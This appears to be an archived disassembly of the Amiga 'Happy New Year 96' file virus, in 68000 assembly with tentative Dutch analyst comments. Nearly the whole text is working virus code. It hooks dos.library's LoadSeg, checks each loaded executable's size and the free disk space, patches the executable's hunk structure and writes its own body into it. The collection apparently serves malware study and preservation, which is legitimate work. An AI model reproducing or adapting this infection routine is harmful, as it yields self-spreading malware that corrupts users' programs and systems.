home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / virusCollection.lzx / VirusCollectie / h / hny96 / HNY96a.asm.wwd (.txt) < prev    next >
WordWorth  |  2022-12-23  |  13KB  |  207 lines

  1. ;-BEGIN VIRUS!!!-
  2. ; Happy New Year 96 core code
  3. ; found in artm, some-demo-i-dont-know
  4. ; routines are the core and found in both programs
  5. ; not everything has been explaned in dutch..
  6.  
  7. LAB_0004:
  8.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;004C: 48E7FFFE        save register op stack
  9.     MOVEA.L    (ABSEXECBASE).W,A6    ;0050: 2C780004        sla execbase adres op in A6
  10.     LEA    dosname(PC),A1    ;0054: 43FA01EE        laad dosname in A1
  11.     MOVE    #$4E75,-504(A1)    ;0058: 337C4E75FE08    patch routine later in programma???
  12.     MOVEQ    #37,D0    ;005E: 7025        versie 37 van dos lib
  13.     JSR    _LVOOpenLibrary(A6)    ;0060: 4EAEFDD8        OpenLibrary (dos,37)
  14.     MOVE.L    D0,D7    ;0064: 2E00        copieer ptr naar dos lib in D7
  15.     BEQ.S    Exit    ;0066: 6742        spring naar Exit wanneer error
  16.     MOVEQ    #0,D1    ;0068: 7200        zet D1 op 0
  17.     MOVEQ    #16,D0    ;006A: 7010        zet D0 op 16
  18.     LSL.L    #8,D0    ;006C: E188        shift D0 naar links, 8-bit
  19.     JSR    _LVOAllocVec(A6)    ;006E: 4EAEFD54        AllocVec()
  20.     MOVEA.L    D0,A5    ;0072: 2A40        copieer vectorptr in A5
  21.     BEQ.S    Exit    ;0074: 6734        exit wanneer error
  22.     MOVEA.L    A5,A1    ;0076: 224D        copieer A5 naar A1
  23.     LEA    LAB_0004(PC),A0    ;0078: 41FAFFD2        laad ptr naar LAB_0004 in A0
  24.     MOVEQ    #16,D0    ;007C: 7010        D0=16
  25.     LSL.L    #8,D0    ;007E: E188        shift D0 naar links, 8-bit
  26.     JSR    _LVOCopyMemQuick(A6)    ;0080: 4EAEFD8A        CopyMemQuick()
  27.     JMP    60(A5)    ;0084: 4EED003C        spring naar A5+60 ?????? activeer vector 
  28. misschien???
  29.     MOVEA.L    D7,A0    ;0088: 2047        copieer dos pointer naar A0
  30.     LEA    LAB_0006(PC),A1    ;008A: 43FA0024        laad LAB_0006 in A1
  31.     MOVE.L    D7,400(A1)    ;008E: 23470190        stop dos pointer in dosopslag
  32.     MOVE    #$48E7,-100(A1)    ;0092: 337C48E7FF9C    copieer $48E7 naar ??????? begin 
  33. programma?
  34.     MOVEA.L    -148(A0),A2    ;0098: 2468FF6C        copieer deel van LoadSeg()??? naar A2
  35.     CMPI    #$2F08,(A2)    ;009C: 0C522F08        check ????
  36.     BEQ.S    Exit    ;00A0: 6708        bij error exit
  37.     MOVE.L    A2,12(A1)    ;00A2: 234A000C        copieer data naar ??? in A1
  38.     MOVE.L    A1,-148(A0)    ;00A6: 2149FF6C        copieer LAB_0006 in LoadSeg()????? routine
  39. Exit:
  40.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;00AA: 4CDF7FFF        Zet stack terug
  41.     RTS        ;00AE: 4E75
  42. LAB_0006:
  43.     MOVE.L    A0,-(A7)    ;00B0: 2F08        sla A0 in stack op
  44.     LEA    variabel_0(PC),A1    ;00B2: 43FA0188        haal variabele op
  45.     MOVE.L    D1,(A1)    ;00B6: 2281        copieer D1 naar variabel_0
  46.     MOVEA.L    (A7)+,A0    ;00B8: 205F        haal A0 van stack
  47.     JSR    EXT_003E    ;00BA: 4EB9002300E0    EXT_003E    EQU    $2300E0
  48.     TST.L    D0    ;00C0: 4A80        returned ok?
  49.     BEQ.S    Exit_2    ;00C2: 670A        nee, einde. (rts)
  50.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;00C4: 48E7FFFE        registers op stack
  51.     BSR.S    LAB_0008    ;00C8: 6106        branche 2 sub LAB_0008
  52.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;00CA: 4CDF7FFF        registers van stack
  53. Exit_2:
  54.     RTS        ;00CE: 4E75        einde routine
  55. LAB_0008:
  56.     MOVEA.L    variabel_0(PC),A0    ;00D0: 207A016A        copieer adres van variabel_0 naar 
  57. A0
  58.     MOVEA.L    A0,A4    ;00D4: 2848        copieer A0 naar A4
  59.     MOVEQ    #45,D2    ;00D6: 742D        copieer 45 in D2
  60.     MOVEQ    #46,D3    ;00D8: 762E        copieer 46 in D3
  61.     MOVEQ    #108,D4    ;00DA: 786C        copieer 108 in D4
  62.  
  63. ; Routine wacht tot A0, 45 of inhoud van variabel_0 leeg is
  64. LAB_0009:
  65.     TST.B    (A0)    ;00DC: 4A10        byte test van inhoud eerste byte van A0
  66.     BEQ.S    LAB_000A    ;00DE: 670E        eerste byte leeg? spring naar LAB_000A
  67.     CMP.B    (A0),D2    ;00E0: B410        inhoud van variabel_0 = 45?
  68.     BEQ.S    Exit_2    ;00E2: 67EA        ja, spring naar Exit_2
  69.     CMP.B    (A0)+,D3    ;00E4: B618        nee, inhoud van variabel_0 = 46?
  70.     BNE.S    LAB_0009    ;00E6: 66F4        nee, spring naar LAB_0009
  71.     CMP.B    (A0),D4    ;00E8: B810        ja, inhoud van variabel_0 = 108 ??
  72.     BEQ.S    Exit_2    ;00EA: 67E2        ja, spring naar Einde
  73.     BRA.S    LAB_0009    ;00EC: 60EE        nee, spring naar naar begin
  74. LAB_000A:
  75.     MOVEA.L    dosopslag(PC),A6    ;00EE: 2C7A0150        copieer dospointer naar A6
  76.     MOVE.L    A4,D1    ;00F2: 220C        copieer ptr naar variabel_0 in D1 (naam van te 
  77. locken file)
  78.     MOVEQ    #-2,D2    ;00F4: 74FE        D2 = ACCES_READ
  79.     JSR    _LVOLock(A6)    ;00F6: 4EAEFFAC        maak Lock
  80.     MOVE.L    D0,D7    ;00FA: 2E00        copieer Lock op file ??? naar D7
  81.     BEQ.S    Exit_2    ;00FC: 67D0        bij error naar Exit_2
  82.     LEA    LAB_003A_1(PC),A5    ;        copieer LAB_003A_1 naar A5
  83.     MOVE.L    D7,D1    ;0102: 2207        copieer D7 naar D1 (lock naar D1) (param 1)
  84.     MOVE.L    A5,D2    ;0104: 240D        copieer adres van infoblock reservering in D2 (param 
  85. 2)
  86.     JSR    _LVOExamine(A6)    ;0106: 4EAEFF9A        examine (D1,D2)
  87.     MOVE.L    D7,D1    ;010A: 2207        D7 naar D1 (lock weer naar D1) (param 1)
  88.     MOVEA.L    A5,A3    ;010C: 264D        copieer infoblock met data naar A3
  89.     ADDA.L    #$00000200,A3    ;010E: D7FC00000200    bytesperblock=512??
  90.     MOVE.L    A3,D2    ;0114: 240B        copieer infoblock naar D2 (param 2)
  91.     JSR    _LVOInfo(A6)    ;0116: 4EAEFF8E        Info (D1,D2)
  92.     MOVE.L    D7,D1    ;011A: 2207        lock weer naar D1
  93.     JSR    _LVOUnLock(A6)    ;011C: 4EAEFFA6        UnLock D1
  94.     CMPI    #ID_VALIDATED,10(A3)    ;0120: 0C6B0052000A    check of disk gevalideerd is
  95.     BNE.S    Exit_2    ;0126: 66A6        nee, exit
  96.     MOVE.L    12(A3),D0    ;0128: 202B000C        NumBlocks naar D0
  97.     MOVE.L    16(A3),D1    ;012C: 222B0010        NumBlocksUsed naar D1
  98.     MOVEQ    #4,D2    ;0130: 7404        copieer 4 naar D2
  99.     SUB.L    D1,D0    ;0132: 9081        NumBlocksUsed-NumBlocks
  100.     CMP.L    D2,D0    ;0134: B082        is D0 kleiner dan D2?
  101.     BLT.S    Exit_2    ;0136: 6D96        ja, exit
  102.     MOVE.L    124(A5),D5    ;0138: 2A2D007C        copieer fib_size (omvang in bytes) naar D5
  103.     CMP.L    #$00000960,D5    ;013C: BABC00000960    is D5 kleiner dan 2400
  104.     BLT.S    Exit_2    ;0142: 6D8A        ja, exit
  105.     CMP.L    #$0001E460,D5    ;0144: BABC0001E460    is D5 kleiner dan 124000
  106.     BGT.S    Exit_2    ;014A: 6E82        nee, exit
  107.     MOVE.L    D5,D0    ;014C: 2005        ja, copieer fib_size naar D0
  108.     MOVEQ    #0,D1    ;014E: 7200        maak D1 leeg
  109.     MOVEA.L    (ABSEXECBASE).W,A6    ;0150: 2C780004        haal execbase adres op
  110.     JSR    _LVOAllocVec(A6)    ;0154: 4EAEFD54        allocatevector naar ??? (geen docs over 
  111. AllocVec() )
  112.     MOVE.L    D0,D7    ;0158: 2E00        copieer vector naar D7
  113.     BEQ    Exit_2    ;015A: 6700FF72        error, exit
  114.     MOVEA.L    dosopslag(PC),A6    ;015E: 2C7A00E0        haal doslib pointer op
  115.     MOVE.L    #$000003ED,D2    ;0162: 243C000003ED    copieer 1005 naar D2
  116.     BSR    openfile    ;0168: 610000C0        spring naar openfile
  117.     BEQ    Exit_2    ;016C: 6700FF60        error, exit
  118.     MOVE.L    D6,D1    ;0170: 2206        copieer lock naar D1
  119.     MOVE.L    D7,D2    ;0172: 2407        copieer vector adres naar D2
  120.     MOVE.L    D5,D3    ;0174: 2605        copieer file size in bytes naar D3
  121.     JSR    _LVORead(A6)    ;0176: 4EAEFFD6        Lees data in vector (D1,D2,D3)
  122.     BSR    closefile    ;017A: 610000B8        sluit file
  123.     MOVEA.L    D7,A3    ;017E: 2647        copieer vector adres naar A3 (nu met file data)
  124.     MOVE.L    #$00000087,D4    ;0180: 283C00000087    copieer 135 in D4
  125.     LEA    20(A3),A0    ;0186: 41EB0014        Interrupt verticalblank??
  126.     MOVE.L    (A0),D0    ;018A: 2010        copieer inhoud adres A0 naar D0
  127.     ADD.L    D4,(A0)    ;018C: D990        voeg 135 toe aan verticalblank???
  128. LAB_000B:
  129.     MOVE.L    (A0)+,D1    ;018E: 2218        copieer A0 en tel 1 erbij op.
  130.     ANDI.L    #$00FFFFFF,D1    ;0190: 028100FFFFFF
  131.     CMP.L    #$000003E9,D1    ;0196: B2BC000003E9
  132.     BNE.S    LAB_000B    ;019C: 66F0
  133.     ANDI.L    #$00FFFFFF,D0    ;019E: 028000FFFFFF
  134.     CMP.L    (A0),D0    ;01A4: B090
  135.     BNE.S    LAB_0010    ;01A6: 6676
  136.     MOVE.L    (A0),D1    ;01A8: 2210
  137.     ADD.L    D4,(A0)+    ;01AA: D998
  138.     LSL.L    #2,D1    ;01AC: E589
  139.     ADDA.L    D1,A0    ;01AE: D1C1
  140.     MOVE.L    A0,D4    ;01B0: 2808
  141.     MOVE.L    A0,D1    ;01B2: 2208
  142.     CMPI.L    #$65772059,-14(A0)    ;01B4: 0CA865772059FFF2
  143.     BEQ.S    LAB_0010    ;01BC: 6760
  144.     CMPI    #$4E75,-(A0)    ;01BE: 0C604E75
  145.     BNE.S    LAB_000C    ;01C2: 6606
  146.     MOVE    #$4E71,(A0)    ;01C4: 30BC4E71
  147.     BRA.S    LAB_000F    ;01C8: 601A
  148. LAB_000C:
  149.     MOVEQ    #63,D0    ;01CA: 703F
  150. LAB_000D:
  151.     CMPI    #$4E75,-(A0)    ;01CC: 0C604E75
  152.     BEQ.S    LAB_000E    ;01D0: 6706
  153.     SUBQ.L    #1,D0    ;01D2: 5380
  154.     BNE.S    LAB_000D    ;01D4: 66F6
  155.     BRA.S    LAB_0010    ;01D6: 6046
  156. LAB_000E:
  157.     MOVE    #$6000,(A0)    ;01D8: 30BC6000
  158.     SUB.L    A0,D1    ;01DC: 9288
  159.     SUBI    #$0002,D1    ;01DE: 04410002
  160.     ADD    D1,(A0)    ;01E2: D350
  161. LAB_000F:
  162.     MOVE.L    #$000003EE,D2    ;01E4: 243C000003EE
  163.     BSR.S    openfile    ;01EA: 613E
  164.     BEQ.S    LAB_0010    ;01EC: 6730
  165.     MOVE.L    D6,D1    ;01EE: 2206
  166.     MOVE.L    D7,D2    ;01F0: 2407
  167.     MOVE.L    D4,D3    ;01F2: 2604
  168.     SUB.L    D7,D3    ;01F4: 9687
  169.     JSR    -48(A6)    ;01F6: 4EAEFFD0
  170.     MOVE.L    D6,D1    ;01FA: 2206
  171.     LEA    LAB_0004(PC),A0    ;01FC: 41FAFE4E
  172.     MOVE.L    A0,D2    ;0200: 2408
  173.     MOVE.L    #$0000021C,D3    ;0202: 263C0000021C
  174.     JSR    -48(A6)    ;0208: 4EAEFFD0
  175.     MOVE.L    D6,D1    ;020C: 2206
  176.     MOVE.L    D4,D2    ;020E: 2404
  177.     ADD.L    D7,D5    ;0210: DA87
  178.     SUB.L    D4,D5    ;0212: 9A84
  179.     MOVE.L    D5,D3    ;0214: 2605
  180.     JSR    -48(A6)    ;0216: 4EAEFFD0
  181.     BSR    closefile    ;021A: 61000018
  182. LAB_0010:
  183.     MOVEA.L    D7,A1    ;021E: 2247        copieer vectoradres naar A1
  184.     MOVEA.L    (ABSEXECBASE).W,A6    ;0220: 2C780004        execbase adres
  185.     JSR    _LVOFreeVec(A6)    ;0224: 4EAEFD4E        FreeVec()
  186.     RTS        ;0228: 4E75        Einde routine
  187. openfile:
  188.     MOVE.L    A4,D1    ;022A: 220C        copieer naam van file naar D1
  189.     JSR    _LVOOpen(A6)    ;022C: 4EAEFFE2        Open file
  190.     MOVE.L    D0,D6    ;0230: 2C00        copieer lock naar D6
  191.     RTS        ;0232: 4E75        einde subroutine
  192. closefile:
  193.     MOVE.L    D6,D1    ;0234: 2206        copieer lock naar D1
  194.     JSR    _LVOClose(A6)    ;0236: 4EAEFFDC        Sluit file
  195.     RTS        ;023A: 4E75        einde routine
  196. variabel_0:
  197.     DC.W    $0030    ;023C    00     '0'
  198.     DC.W    $639D    ;023E    'c'    157
  199. dosopslag:
  200.     DC.W    $0020    ;0240        !!!!!!!
  201.     ROXR.B    #5,D4    ;0242: EA14 ??????? LONG ???
  202. dosname:
  203.     dc.b    'dos.library',0
  204.     dc.b    '<> Happy New Year 96! <>'
  205.  
  206. ; -END OF VIRUS!-
  207.